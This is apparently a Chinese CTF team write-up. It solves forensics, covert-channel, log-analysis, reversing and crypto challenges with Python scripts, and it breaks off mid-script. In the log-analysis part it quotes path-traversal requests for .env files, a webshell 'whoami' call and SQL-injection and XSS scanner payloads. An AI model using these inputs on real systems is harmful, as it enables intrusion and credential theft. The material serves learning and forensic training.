队名:网安不能失去二栋(3个25小登们的队伍)

本人拿了个MISC的1个二血,两个三血,队伍总排名第三。队友打瓦,后台ai搞出来个Web的一血难题,感慨现在都是AI大时代了…

MISC
尾巴里的压缩包
这张图片看起来很正常,但它的“尾巴”似乎有点多余。
拿到一个webp,010打开找到下面有flag.txt字样,

想到文件里面藏了东西,用foremost进行文件分离
foremost提取出一个zip:

没有加密,打开直接是flag
保密为人民,保密靠人民
内网备份服务器出现了一次可疑的文件传输,现场只保留了一份流量包。 请从 PCAP 中还原被传输的原始文件,并从文件内容中找到 flag。
给了一个流量
用NetA分理出下载的文件

文件里面:eviedence\capture_notes\flag.txt直接出flag
你知道CRC吗?
师傅,这张 PNG 图片好像坏了。修好它,找到隐藏在图片中的 flag。
这道题可以用PZ秒,但是本文选择了一种偏本质的方法
1. 检查 PNG 文件结构
PNG 文件签名 (89 50 4E 47 0D 0A 1A 0A) 正常,说明文件头没有被破坏。
解析 chunk 结构:
| Chunk | Length | CRC 状态 |
|---|---|---|
| IHDR | 13 | MISMATCH |
| IDAT | 65536 | OK |
| IDAT | 65536 | OK |
| IDAT | 47357 | OK |
| IEND | 0 | OK |
IHDR 数据如下: Width: 0x000001da = 474 Height: 0x0000017b = 379 Bit depth: 8 Color type: 2 (RGB)
- 当前数据计算的 CRC:
0xfac6ddb3 - 文件中存储的 CRC:
0x7cfb886d
CRC 不匹配。IDAT/IEND chunk 的 CRC 全部正确,说明问题仅出在 IHDR 上。
2. 推测:CRC 是原来的,IHDR 数据被篡改过
这是一种常见的隐写/取证手法:修改 IHDR 中的宽高(使解码器只读取图像的一部分),但保留原始 CRC 不变。这样:
- 图片仍然能正常显示(上半部分)
- 但图像下半部分的内容被「隐藏」了
- 原始 CRC 可以作为线索恢复真实的宽高
3. 爆破原始宽高
CRC 计算范围为 chunk type (4 bytes) + chunk data (13 bytes),其中 chunk type 固定为 IHDR,chunk data 的后 5 字节固定(bit depth=8, color type=2, compression=0, filter=0, interlace=0)。
写脚本在合理范围内爆破宽高,寻找使 CRC32("IHDR" + width_bytes + height_bytes + "\x08\x02\x00\x00\x00") == 0x7cfb886d 的组合:
import binascii, struct
target_crc = 0x7cfb886d
ihdr_type = b'IHDR'
fixed = bytes([0x08, 0x02, 0x00, 0x00, 0x00]) # bit_depth, color_type, compression, filter, interlace
for w in range(1, 4096):
wb = struct.pack('>I', w)
for h in range(1, 4096):
hb = struct.pack('>I', h)
crc = binascii.crc32(ihdr_type + wb + hb + fixed) & 0xffffffff
if crc == target_crc:
print(f'FOUND: Width={w}, Height={h}')
输出: FOUND: Width=760, Height=560
原始图片尺寸为 760×560,被篡改为 474×379。
4. 修复图片
将 IHDR 中的宽高修改为 760×560,并重新计算正确的 CRC 写入文件:
import struct, binascii
original_width = 760
original_height = 560
ihdr_data = struct.pack('>IIBBBBB', original_width, original_height, 8, 2, 0, 0, 0)
new_crc = binascii.crc32(b'IHDR' + ihdr_data) & 0xffffffff
# 将修复后的 IHDR 数据和 CRC 写回文件偏移处
data[16:29] = ihdr_data # offset 16 = 8(sig) + 4(len) + 4(type)
data[29:33] = struct.pack('>I', new_crc)
5. 获取 Flag
修复后图片尺寸变为 760×560,原来被错误高度「裁掉」的下半部分(第 380~560 行,共 181 行)重新显示出来,flag 直接写在图片底部。

**本题考察对 PNG 文件格式的理解和 CRC32 校验机制的利用。核心知识点:
- PNG IHDR chunk 包含图片元信息(宽、高、位深、颜色类型等),共 13 字节
- 每个 chunk 末尾 4 字节为 CRC32 校验值(计算范围:chunk type + chunk data)
- 修改 IHDR 宽高可以隐藏图片的部分区域(缩小高度使解码器提前停止)
- 保留原始 CRC 可以作为线索逆向恢复原始宽高
网络安全无小事
某研发机 10.10.7.23 在夜间触发了“异常外联心跳”告警。安全设备只保留了一小段抓包,正常 DNS 查询和 ICMP 探测流量中似乎混入了某种隐蔽传输。
1500 包 PCAP,数据经双通道隐蔽传输:DNS lhgame.local 子域名承载偶数序列块,ICMP Echo 请求 payload 承载奇数序列块。交织后 base32 解码 → zlib 解压得 flag。其余 100 个带编码子域名的正常 DNS 查询为掩护流量。
1: 识别双通道
分析发现两类异常流量:
- DNS 查询
sNNN.XXXXXXXX.cdn-sync.lhgame.local— 序列号 s000, s002, s004, s006, s008, s010(偶数) - ICMP Echo Request payload
ts=...;seq=NNN;data=XXXXXXXX;stat— 序列号 001, 003, 005, 007, 009(奇数)
【奇数偶数这点很关键,忙活了很久才发现的这个规律】
二者序列号互补,组成完整 000-010。每个 data 字段为 7-8 字符的 base32 编码块。
2: 交织重组与解码
按数字序列号排序合并所有 data 块,base32 解码后 zlib 解压即得 flag。
from scapy.all import *
import re, base64, zlib
packets = rdpcap('traffic.pcap')
all_chunks = []
# 提取 DNS lhgame (偶数序列)
for pkt in packets:
if DNS in pkt and pkt[DNS].qd:
qname = pkt[DNS].qd.qname.decode().lower().rstrip('.')
if 'lhgame' in qname:
parts = qname.split('.')
seq = int(parts[0][1:]) # s000 -> 0
data = parts[1]
all_chunks.append((seq, data))
# 提取 ICMP (奇数序列)
for pkt in packets:
if ICMP in pkt and pkt[ICMP].type == 8:
payload = bytes(pkt[ICMP].payload).decode('ascii', errors='ignore')
m = re.search(r'seq=(\d+);data=([a-z0-9]+);', payload)
if m:
all_chunks.append((int(m.group(1)), m.group(2)))
# 去重、排序、合并
seen = set()
unique = []
for seq, data in sorted(all_chunks):
if seq not in seen:
seen.add(seq)
unique.append(data)
combined = ''.join(unique)
decoded = base64.b32decode(combined.upper() + '=' * ((-len(combined)) % 8))
flag = zlib.decompress(decoded).decode()
print(flag)
得到Flag
LHFLAG{dns_icmp_mixed_covert_channel_7c9f2a}
夜航日志

某业务的 prod-web-02 在凌晨出现短暂异常。SOC 只打包出了 4 份日志:Nginx 访问日志、应用审计日志、系统认证日志、WAF 日志。日志量较大,且存在扫描器噪声和误报。请通过时间线梳理、IP 关联、异常行为检测等方法,还原攻击链并找出 flag。
说明:
- 日志时间均为 UTC+8。
- flag 格式为 LHFLAG{…}。
- 选手只需要分析附件内日志,不需要联网,不需要攻击任何真实服务。
- 部分字段是业务为了排障写入的 forensic/checkpoint 信息,但只有真正攻击链上的片段能拼出正确 flag。
附件结构:
logs/access.log Nginx 风格访问日志
logs/app.log JSON Lines 应用审计日志
logs/auth.log Linux/auth + Web 登录审计片段
logs/waf.log JSON Lines WAF 告警日志
1: 噪声分离
WAF 日志中大量来自不同 IP 的重复攻击载荷(/wp-login.php、/robots.txt、/comment?msg=<script>、/search?q='or'1'='1)属于自动化扫描器噪声,均被 block。auth.log 中的 SSH 爆破同理。
真正绕过 WAF 的攻击流特征:WAF action 为 allow(非 block),且 app.log 中出现对应的 forensic_phase 和 checkpoint 字段。 快速定位:找出 WAF 放行的攻击grep '"action":"allow"' logs/waf.log 找出包含 forensic 标记的 app 日志
grep 'forensic_phase' logs/app.log
关键发现 — 攻击者 IP 203.0.113.45 是唯一同时出现在 WAF allow、app.log forensic 标记、auth.log 登录事件中的 IP。
2: 攻击链时间线还原(此处为了方便,用ai进行时间线溯源)
以 203.0.113.45 为 pivot,关联四份日志:
02:13:04 侦查 GET /.env → 404 WAF: ENUM-404-BURST
02:13:46 侦查 GET /backup/config.old → 404 WAF: ENUM-404-BURST
02:14:40 LFI GET /download?file=../../../../ WAF: LFI-930100 ALLOW
var/www/app/.env → 200 [phase 1]
02:15:37 LFI GET /download?file=../../../../ WAF: LFI-930100 ALLOW
var/log/nginx/access.log → 200 [phase 2]
02:17:05 登录 POST /login admin → 401 auth: Failed password
(bad_password)
02:17:26 登录 POST /login admin → 302 auth: Accepted web-login
(remember_token 凭据复用) [phase 3]
02:19:07 上传 POST /admin/plugin/upload WAF: PHP-UPLOAD ALLOW
q2_report.php → 201 [phase 4]
02:19:55 RCE GET /uploads/.cache/report.php WAF: CMD-INJECTION BLOCK
?x=whoami → 200, exit_code=0 (执行已完成)
02:21:30 窃取 admin_export users → 87391 bytes IP 切换: 198.51.100.211
[phase 5]
02:22:46 外传 backup_sync → s3://night-archive SESSION-IP-CHANGE 告警
[phase 6]
02:23:45 清痕 admin_audit_download 4312 rows [phase 7]
攻击链总结: 侦查探测 → 路径穿越读 .env → 窃取 remember_token → 管理员登录 → 上传 PHP Webshell → RCE 执行 whoami → 切换 IP 导出用户数据 → 同步至攻击者 S3 → 下载审计日志清除痕迹
3: Flag 解码
7 个 phase 的 base64 checkpoint 按序拼接:
import base64
checkpoints = [
"TEhGTEFH", # phase 1
"e2xvZ190", # phase 2
"aW1lbGlu", # phase 3
"ZV9pcF9j", # phase 4
"aGFpbl83", # phase 5
"YzkyYTRm", # phase 6
"MX0=", # phase 7
]
flag = "".join(base64.b64decode(c).decode() for c in checkpoints)
print(flag)
解码过程:
| Phase | Base64 | Decode |
|---|---|---|
| 1 | TEhGTEFH | LHFLAG |
| 2 | e2xvZ190 | {log_t |
| 3 | aW1lbGlu | imelin |
| 4 | ZV9pcF9j | e_ip_c |
| 5 | aGFpbl83 | hain_7 |
| 6 | YzkyYTRm | c92a4f |
| 7 | MX0= | 1} |
得到Flag
LHFLAG{log_timeline_ip_chain_7c92a4f1}
逆向
OrbitGate
先别急着 patch 成功分支。程序在失败和成功路径里都埋了看起来像 flag 的字符串。
初步分析
题目目录中有两个关键文件:
OrbitGate.exeOrbitGate.zip
压缩包内还有题面和提示,其中最关键的三条信息是:
- 不要只 patch 成功分支。
- 输入格式固定为
5组4位十六进制。 - 恢复出
5个16-bit值后,最后还有一步基于注册码的解密。
这三句已经把整道题的骨架讲透了:
- 先过格式校验;
- 再还原 5 个
UInt16的数学关系; - 最后再用这 5 个值去解密真实 flag。
识别程序类型
对 OrbitGate.exe 做字符串提取,可以很快看到:
BSJB
v4.0.30319
mscorlib
System
GateChecks
EncryptedFlag
FakeTokens
ParseSerial
Verify
RecoverFlag
这是非常标准的 .NET 程序特征。
也就是说,这题不需要和 native 壳、SEH、反汇编对抗太久,重点会落在:
- 读取托管元数据;
- 枚举类型、字段、方法;
- 还原
Verify()与RecoverFlag()的逻辑。
进一步反射后,可以拿到核心成员:
Fields:
- GateChecks : UInt16[]
- EncryptedFlag : Byte[]
- FakeTokens : String[]
Methods:
- LooksLikeLicense
- ParseSerial
- Verify
- RecoverFlag
- ComputeDigitChecksum
- Rol16
- Ror16
到这里,题眼已经完全暴露出来了。
误导点
程序里有一个专门的假线索数组 FakeTokens,内容如下:
flag{telemetry_desync_is_not_enough}
flag{patching_only_gets_you_a_decoy}
OG-LAB-REVOKED-CHANNEL
这两条 flag{...} 都很像真 flag,尤其第二条几乎是“贴脸嘲讽”。
但它们恰好也在提醒你:
- 只靠 patch,会拿到诱饵;
- 只靠字符串,会走进陷阱;
- 真正的出口,在
EncryptedFlag和RecoverFlag()。
这也是本题设计最漂亮的地方。它不是单纯“骗你”,而是在用误导反向强调题目主题。
程序主流程
整体逻辑可以概括为:
- 用
LooksLikeLicense()检查输入格式; - 用
ParseSerial()把注册码拆成 5 个UInt16; - 用
Verify(words, serial)校验这 5 个数之间的关系; - 如果通过,则调用
RecoverFlag(words)解密EncryptedFlag; - 输出真实 flag。
其中格式要求非常直接: XXXX-XXXX-XXXX-XXXX-XXXX
每一组都是 4 位十六进制,总共 5 组。
核心校验逻辑
静态字段 GateChecks 的值为:[33130, 108, 50732, 59120, 47103, 52012, 940]
将注册码拆成:
w0, w1, w2, w3, w4
Verify() 会先构造一个 7 项数组,再与 GateChecks 做组合校验。关键约束可以还原为:
check0 = Rol16(w0 ^ 0x1337, 3) + 0x2222
check1 = w1 ^ Ror16(w0, 1) ^ 0x5AA5
check2 = ((w2 + Rol16(w1, 4)) & 0xFFFF) ^ 0x3141
check3 = (w3 - w2) ^ 0xBEEF
check4 = Rol16(w4, 7) + (w1 ^ 0x4242)
check5 = w0 + w2 + w4
check6 = ComputeDigitChecksum(serial) + 0x6D3A
所有结果都按 UInt16 处理,也就是最终取 & 0xFFFF。
前五项可以直接反推:
w0 = Ror16((GateChecks[0] - 0x2222) & 0xFFFF, 3) ^ 0x1337
w1 = GateChecks[1] ^ Ror16(w0, 1) ^ 0x5AA5
w2 = ((GateChecks[2] ^ Rol16(w1, 4)) - 0x3141) & 0xFFFF
w3 = ((GateChecks[3] ^ 0xBEEF) + w2) & 0xFFFF
w4 = Ror16((GateChecks[4] - (w1 ^ 0x4242)) & 0xFFFF, 7)
算出来就是:
w0 = 0x18DE
w1 = 0x56A6
w2 = 0x7B08
w3 = 0xD327
w4 = 0x3746
也就是合法注册码:18DE-56A6-7B08-D327-3746
再验证一下:w0 + w2 + w4 = 0x18DE + 0x7B08 + 0x3746 = 0xCB2C
刚好对应:GateChecks[5] = 52012 = 0xCB2C
说明反推结果完全闭合。
关于最后一层
真正有意思的是,Verify() 通过并不代表题目结束。
程序里还有一段字节数组:
EncryptedFlag =
8E C4 C6 4D 06 92 77 48 BF 1C 1B D7 C3 85 9A 7F
6B E7 89 88 E7 DC 57 9D 4D 78 C9 FE 1E B8 BD 45 E9 EF 23
真正的 flag 并不在字符串区,而是在这里。
RecoverFlag(words) 会使用前面恢复出的 5 个 UInt16 值,构造一条与注册码绑定的字节流,对 EncryptedFlag 做逐字节解密,最后再按 ASCII 输出。
这就解释了为什么单纯 patch 成功分支不够:
- 你可以让程序“显示成功”;
- 但如果注册码不合法,真正的解密过程就没有正确输入;
- 最终拿不到真 flag。
这一步把“形式上的通过”和“逻辑上的通过”彻底区分开了。
求解脚本
下面给出一个足够简洁、适合比赛现场复现的 Python 版本求解脚本。它直接根据 GateChecks 反推 5 个 16-bit 值。
def rol16(x, s):
s &= 15
return ((x << s) | (x >> (16 - s))) & 0xFFFF
def ror16(x, s):
s &= 15
return ((x >> s) | (x << (16 - s))) & 0xFFFF
gate = [33130, 108, 50732, 59120, 47103, 52012, 940]
w0 = ror16((gate[0] - 0x2222) & 0xFFFF, 3) ^ 0x1337
w1 = gate[1] ^ ror16(w0, 1) ^ 0x5AA5
w2 = ((gate[2] ^ rol16(w1, 4)) - 0x3141) & 0xFFFF
w3 = ((gate[3] ^ 0xBEEF) + w2) & 0xFFFF
w4 = ror16((gate[4] - (w1 ^ 0x4242)) & 0xFFFF, 7)
serial = f"{w0:04X}-{w1:04X}-{w2:04X}-{w3:04X}-{w4:04X}"
print(serial)
输出: 18DE-56A6-7B08-D327-3746
将该字符串输入程序,即可得到真实 flag。
运行结果
程序接受正确注册码后的输出为:
[+] Uplink accepted.
[+] Orbital maintenance channel restored.
[+] flag{4c731fc9bdfd9b15_orbit_unlock}
因此最终答案为:flag{4c731fc9bdfd9b15_orbit_unlock}
复盘
这题的难点从来不在“算术有多难”,而在“你是否愿意尊重程序本身的逻辑”。
如果只想走捷径,很容易停在下面这些假终点上:
- 看到
flag{...}字符串就提交; - patch 条件跳转让程序显示成功;
- 只恢复前半段约束,不去看最后的解密流程。
但这题真正考察的是另一件事:
Reverse 不是把程序改成你想看到的样子。Reverse 是理解它为什么会变成那个样子。
从这个角度说,OrbitGate 是一道完成度很高的题:
- 结构短小;
- 提示明确;
- 误导有效但不过分;
- 解题路径干净;
- 主题表达完整。
它告诉我们,真正的“通过验证”,不是伪造成功分支,而是构造出一把能让整个系统自然运转的钥匙。
这把钥匙就是: 18DE-56A6-7B08-D327-3746
最终结论
注册码 18DE-56A6-7B08-D327-3746
Flag flag{4c731fc9bdfd9b15_orbit_unlock}
Night Market
夜市管理员留下了一个小程序,据说只有输入正确的通行口令,摊位灯牌才会亮起。 你拿到了校验程序和几份可疑的字节数组。请逆向程序中的 XOR 变换逻辑,还原原始输入。
37 字符流密码验证程序。输入 ticket 经位置置换 + 状态反馈流密码 XOR 加密后与 want 数组比对。由于状态更新仅依赖 cipher 值,而 cipher 必须等于 want[i] 才能通过验证,故可正向推演出完整 ticket。
1: 分析流密码结构
check_ticket 函数对每个位置 i 执行:
pos = route_at(i)— 通过box_a[i] ^ (i*19+0x5d)打乱读取位置cipher = ticket[pos] ^ stream_at(i, state)— 流密码 XORmixed[i] = cipher— 存入结果数组state = next_state(i, state, cipher)— 更新状态
最终 mixed == want 才通过验证。
2: 正向反推 ticket
验证通过时 cipher = mixed[i] = want[i] 完全已知,state 更新也只依赖已知值,因此可从初始 state=0xa6 逐轮计算:
ticket[pos] = want[i] ^ stream_at(i, state)state = next_state(i, state, want[i])TICKET_LEN = 37 box_a = bytes([0x43,0x69,0xa0,0x92,0xb5,0xad,0xcc,0xe8,0xf5,0x2c,0x0e,0x27,
0x57,0x56,0x7a,0x65,0x88,0xb3,0xbd,0xd4,0xc1,0xe7,0xfe,0x30,
0x28,0x23,0x4c,0x58,0x79,0x94,0x8d,0xbd,0x9c,0xdf,0xc3,0xe2,0x05])
box_b = bytes([0xd3,0xb5,0x18,0xba,0xe4,0xfa,0x2a,0xba,0x9d,0x37,0xc9,0xae,
0xd6,0x76,0xc6,0x03])
want = bytes([0x8e,0x60,0xb8,0x44,0x5e,0x3f,0x42,0xa2,0xce,0x14,0x20,0x7a,
0x0e,0x6c,0xa8,0xb0,0xb2,0xe7,0xaf,0xaf,0x3f,0xfa,0xf0,0x50,
0xa9,0xe7,0x7e,0x40,0x55,0x04,0x86,0xe9,0xf4,0x82,0x1e,0x47,0xa9]) def rol8(x, r):
return ((x << r) | (x >> (8 – r))) & 0xff def route_at(i):
return box_a[i] ^ ((i * 19 + 0x5d) & 0xff) def seed_at(i):
return box_b[i] ^ ((i * 23 + 0x91) & 0xff) def stream_at(i, state):
a = seed_at((i * 7 + 3) & 15)
b = seed_at((i * 5 + 11) & 15)
p = (i * 0x3d + 0x5b) & 0xff
return (rol8((a + i) & 0xff, 3) ^
rol8((b ^ (i * 0x29)) & 0xff, 1) ^ state ^ p) & 0xff def next_state(i, state, cipher):
a = seed_at((i * 7 + 3) & 15)
spice = (i * 13 + 0x37) & 0xff
return rol8((state ^ cipher ^ a ^ spice) & 0xff, 1) state = 0xa6
ticket = [0] * TICKET_LEN
for i in range(TICKET_LEN):
pos = route_at(i)
ticket[pos] = want[i] ^ stream_at(i, state)
state = next_state(i, state, want[i]) flag = bytes(ticket).decode()
print(flag)
得到flag:flag{neon_xor_chain_nFR7059MIEPeN9o4}
密码
Night Watch
某台旧网关会在午夜导出一份审计记录。管理员为了图方便,使用“短密钥循环异或”的方式保护整份文件。
现在你拿到了导出的密文 ciphertext.bin。请恢复明文并提交其中的 flag。
已知:
明文是以 ASCII 为主的日志/审计文本;
加密算法是 repeated-key XOR,即 key 会循环使用;
key 是可打印字符组成的短字符串,但长度未知;
40630 字节密文,使用短密钥循环异或加密 ASCII 审计日志。通过重合指数(IC)确定密钥长度为 17,逐位置频率分析恢复密钥 Nebula_Rook_2026!,解密得 flag。
1: 确定密钥长度
对不同密钥长度计算重合指数(Index of Coincidence)。随机数据 IC ≈ 0.0118,英语文本 IC ≈ 0.065。在 len=17 和 len=34(2×17)处 IC 骤升至 ~0.037,确认密钥长度为 17。
2: 逐位破解密钥
将密文按 17 个偏移位置分为 17 组,每组独立单字节 XOR。对每个位置遍历可打印 ASCII (0x20-0x7E),以英语字母频率评分,选最优字节。
data = open('ciphertext.bin', 'rb').read()
def score_text(text):
s = 0
for b in text:
if 0x20 <= b <= 0x7e:
s += 1
c = chr(b).lower()
if c in 'etaoinshrdl': s += 2
elif c in 'cumwfgypbvkjxqz': s += 0.5
elif b in (0x0a, 0x0d, 0x09): s += 0.5
else: s -= 3
return s / max(len(text), 1)
kl = 17
key = []
for offset in range(kl):
chunk = data[offset::kl]
best = max(range(0x20, 0x7f),
key=lambda kb: score_text(bytes([b ^ kb for b in chunk])))
key.append(best)
key = bytes(key)
print(f"Key: {key.decode()}") # Nebula_Rook_2026!
plain = bytes(data[i] ^ key[i % kl] for i in range(len(data)))
# Find flag
idx = plain.find(b'LHFLAG{')
end = plain.find(b'}', idx)
print(plain[idx:end+1].decode())
Flag
LHFLAG{r3p3at_x0r_stat_leak_6f2c9a18}
打破时间胶囊
某密码重置服务在启动时使用 int(time.time()) 作为 Python中random.Random的种子。 它会先生成一个公开的重置 token,然后继续用同一个 PRNG 生成管理员 PIN 和加密 flag 的密钥材料。 你拿到了源码 chall.py和一次真实运行留下的 public_log.txt。服务启动时间只知道一个大致范围。 请恢复 flag
阅读 chall.py 源码,关键逻辑如下:
seed = int(time.time()) # ① 种子 = 启动时的 Unix 时间戳(秒级精度)
rnd = random.Random(seed)
burn_count = 300 + (rnd.getrandbits(16) % 700) # ② 随机"预热" 300~999 次
for _ in range(burn_count):
rnd.getrandbits(8 + 8 * (rnd.getrandbits(2) % 4)) # ③ 消耗随机数
reset_token = "...".format(...) # ④ 公开的 reset token(已知)
admin_pin = "..." # ⑤ 管理员 PIN(未知)
nonce = bytes(...) # ⑥ 加密用的 nonce(已知)
key_material = bytes(...) # ⑦ 加密用的密钥材料(未知)
key = sha256(key_material + reset_token + admin_pin)
ciphertext = xor_stream(flag, key, nonce)
整个系统使用 同一个 PRNG 实例 依次生成所有值。reset_token 是公开的,可以作为验证种子的”检查点”。
破绽
- 种子空间极小:
int(time.time())只有秒级精度,而题目给出了服务启动时间范围——2026-05-16 09:00:00 ~ 13:00:00(亚洲/新加坡,UTC+8),共 4 小时 = 14400 个候选种子。 - 公开 token 可验证:
reset_token在public_log.txt中已知,用它即可判定哪个种子是正确的。 - PRNG 完全可复现:Python 的
random.Random(seed)是纯确定性的 Mersenne Twister,给定相同种子 → 相同输出序列。
1 — 转换时间范围
亚洲/新加坡 (UTC+8) → UTC:
| 当地时间 | UTC |
|---|---|
| 2026-05-16 09:00:00 | 2026-05-16 01:00:00 |
| 2026-05-16 13:00:00 | 2026-05-16 05:00:00 |
对应 Unix 时间戳:1778893200 ~ 1778907600,共 14400 个候选种子。
2 — 爆破种子
对每个候选种子,用完全相同的 PRNG 操作流程复现 reset_token,与目标值比对:
TARGET = "73cf64abf63757312bcee076"
def try_seed(seed):
rnd = random.Random(seed)
burn_count = 300 + (rnd.getrandbits(16) % 700)
for _ in range(burn_count):
rnd.getrandbits(8 + 8 * (rnd.getrandbits(2) % 4))
reset_token = "".join(f"{rnd.getrandbits(8):02x}" for _ in range(12))
return reset_token
for seed in range(START_TS, END_TS + 1):
if try_seed(seed) == TARGET:
print(f"FOUND: {seed}")
break
约 2 秒后命中: Seed: 1778896043
3 — 恢复 flag
用正确的种子完整复现 PRNG 序列,依次提取 admin_pin、nonce、key_material,推导 AES-like XOR 流的密钥,解密 ciphertext:
rnd = random.Random(1778896043)
# ... 复现 burn 阶段 ...
reset_token = ... # 验证通过
admin_pin = "093031"
nonce = bytes.fromhex("eefdeebaded7d55f7c855f98")
key_material = bytes.fromhex("4b68302da289f4c775e0b966b423163b...")
key = sha256(key_material + reset_token.encode() + admin_pin.encode())
flag = xor_stream(ciphertext, key, nonce)
Flag
LHFLAG{t1m3_s33d_rng_can_b3_gu3ss3d_4f7c9a}
总结
这道题的核心教训:
time.time()不是密码学安全的随机源。秒级精度的种子空间极小(本题仅 14400 种可能),配合一个已知的 PRNG 输出即可在数秒内爆破。- 涉及安全的随机数生成应使用
secrets模块(Python)或/dev/urandom,而非random模块。 - 即使加了”预热”(burn)阶段,只要整个 PRNG 状态是由同一个种子派生的,攻击者依然可以完美复现。
Morph Encoder
朋友说普通编码题在 AI 面前太容易了,于是我给同一段数据换了几副“面孔”。
附件中给出了 chall.py 和 output.txt。请分析编码流程,恢复原始 flag。
自定义多层编码链:twist XOR → base85 → custom base64 → chunk_mirror → snake_fence → custom base32。逐层逆向即可恢复 flag。
1: 分析编码链
chall.py 定义了 5 层变换:
| 层 | 函数 | 操作 |
|---|---|---|
| 1 | twist | XOR (i*73+41) & 0xff(自逆) |
| 2 | base64.b85encode | 标准 base85 |
| 3 | custom_b64 | 标准 base64 换自定义字母表 M64 |
| 4 | chunk_mirror | 5 字符分块 → 奇块反转 → 右旋 3 块 |
| 5 | snake_fence | 7 列栅栏,奇数列反转 |
| 6 | custom_b32 | 标准 base32 换自定义字母表 M32 → 8 字符组反转 |
2: 逐层逆向
逆向顺序与编码相反:custom_b32 → snake_fence → chunk_mirror → custom_b64 → base85 → twist。
import base64
STD64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
M64 = "qazwsxedcrfvtgbyhnujmiklopQAZWSXEDCRFVTGBYHNUJMIKLOP9876543210-_"
STD32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
M32 = "ZYXWVUTSRQPONMLKJIHGFEDCBA765432"
output = "NI7HT.KADDH46L.TYAS5EPV.VMNT5AOR.MQNWZ7IW.LQWC5I77.TYWVLDO3.MUNEL7QF.T4XE3EGG.MUDEFA7C.LBBTFGYA.LQNFR56K.MMFWR7WG"
# 1) Reverse custom_b32
groups = output.split(".")[::-1]
morphed = "".join(groups)
trans_b32 = str.maketrans(M32, STD32)
b32_str = morphed.translate(trans_b32)
b32_str += "=" * ((-len(b32_str)) % 8)
s = base64.b32decode(b32_str).decode()
# 2) Reverse snake_fence (width=7)
width, n_rows = 7, len(s) // 7
cols = []
for c in range(width):
col = list(s[c * n_rows:(c + 1) * n_rows])
if c % 2 == 1:
col = col[::-1]
cols.append(col)
rows = ["".join(cols[c][i] for c in range(width)) for i in range(n_rows)]
s = "".join(rows).rstrip("#")
# 3) Reverse chunk_mirror (chunk=5, rot=3)
blocks = [s[i:i+5] for i in range(0, len(s), 5)]
blocks = blocks[3:] + blocks[:3] # left-rotate by 3
blocks = [b[::-1] if i % 2 else b for i, b in enumerate(blocks)]
s = "".join(blocks).rstrip("~")
# 4) Reverse custom_b64
trans_b64 = str.maketrans(M64, STD64)
b64_str = s.translate(trans_b64)
b64_str += "=" * ((-len(b64_str)) % 4)
b85_str = base64.b64decode(b64_str).decode()
# 5) Reverse base85
twisted = base64.b85decode(b85_str)
# 6) Reverse twist
flag = bytes((b ^ ((i * 73 + 41) & 0xff)) for i, b in enumerate(twisted))
print(flag.decode())
得到Flag
LHFLAG{m0rph_Enc0ding_9f42b6c1a8}
LCG-RSA的强强联手
一次调试日志中意外泄露了某个线性同余生成器(LCG)的连续输出。服务端使用同一个 LCG 的后续状态生成 RSA 的两个素数,并对 flag 进行了加密。 请根据附件中的 task.py 和 output.txt 恢复 flag。
题目源码分析
题目核心逻辑如下:
class LCG:
def __init__(self, m: int, a: int, b: int, seed: int):
self.m = m
self.a = a
self.b = b
self.x = seed
def next(self) -> int:
self.x = (self.a * self.x + self.b) % self.m
return self.x
rng = LCG(M, A, B, SEED)
leak = [rng.next() for _ in range(10)]
p = next_prime(rng.next())
q = next_prime(rng.next())
n = p * q
e = 65537
c = pow(int.from_bytes(FLAG, "big"), e, n)
从代码可以看出:
- 题目使用了一个线性同余生成器
LCG。 - 先泄露了连续的
10个状态值leak。 - 然后第
11、12个状态分别经过next_prime变成p和q。 - 最终用标准
RSA进行加密。
这意味着:
RSA本身并没有明显弱点;- 真正的漏洞在于
p、q的来源是可预测的; - 只要从泄露中恢复出
LCG参数,就能继续往后推状态,进而恢复p和q。
换句话说,这题的本质不是“爆破 RSA”,而是“预测生成 RSA 素数的随机源”。
LCG 基础
线性同余生成器形式为: x_{n+1} = (a x_n + b) mod m
其中:
m是模数a是乘子b是增量x_0是种子
如果 m, a, b, seed 都保密,LCG 表面上像是“随机”的;但一旦连续输出泄露足够多,参数往往可以直接恢复。
这正是 LCG 在密码学里不安全的根本原因:它适合做模拟、抽样、游戏逻辑,不适合生成密钥材料。
攻击切入点
已知连续输出:x0, x1, x2, ..., x9
定义差分: d_i = x_{i+1} - x_i
对于 LCG,可以推出一个非常关键的恒等式: d_{i+2} d_i - d_{i+1}^2 ≡ 0 (mod m)
也就是说,下面这些值: t_i = d_{i+2} d_i - d_{i+1}^2
全部都是 m 的倍数。
于是我们可以:
- 先算出若干个
t_i - 对它们取
gcd - 大概率直接得到模数
m
这是恢复未知 LCG 模数时的经典做法。
第一步:恢复模数 m
设: d_i = x_{i+1} - x_i
然后计算: t_i = |d_{i+2} d_i - d_{i+1}^2|
再取: m = gcd(t_0, t_1, t_2, …)
在本题中,得到: m = 7875284624774766146779800993774894905100411788121896560125060768418290671778891426069143518962622717768183611843647982948139027846154094539521976137200947
这是一个 512 位整数,和题目规模完全匹配。
第二步:恢复 a 和 b
LCG 满足:
x2 ≡ a x1 + b (mod m)
x1 ≡ a x0 + b (mod m)
两式相减:x2 - x1 ≡ a(x1 - x0) (mod m)
于是: a ≡ (x2 - x1) * (x1 - x0)^{-1} (mod m)
只要 x1 - x0 在模 m 下可逆,就能求出 a。然后再代回: b ≡ x1 – a x0 (mod m)
本题恢复得到:
a = 4738825074520259956533037190684495177771755298763050091909140649381629606721221195682239040738122274360279582713489062229369777696853175440320242347711942
b = 4092912681671128018391178676001917712732854554289857666213004128629748648943621665932967507890089418337577391833454547542549491970398245151364856305238733
验证所有泄露值都满足递推关系,说明恢复成功。
第三步:预测后续状态
已知最后一个泄露值 x9,继续递推: x10 = (a x9 + b) mod m x11 = (a x10 + b) mod m
题目中这两个值不是直接作为素数,而是: p = next_prime(x10) q = next_prime(x11)
所以只要继续算: from sympy import nextprime p = nextprime(x10) q = nextprime(x11)
就能得到真正的 RSA 素数。
本题验证结果: p * q == n
成立,说明 p、q 已经完全恢复。
第四步:分解 RSA 并解密
既然已经拿到了 p 和 q,接下来就是标准 RSA 流程:
phi(n) = (p - 1)(q - 1)
d = e^{-1} mod phi(n)
m = c^d mod n
再把整数转回字节串即可: flag = long_to_bytes(m)
最终得到: LHFLAG{lcg_rsa_predictor_9f3a1c7e5b2d}
完整利用脚本
下面给出本题的完整求解脚本:
from math import gcd
from functools import reduce
from sympy import nextprime
leak = [
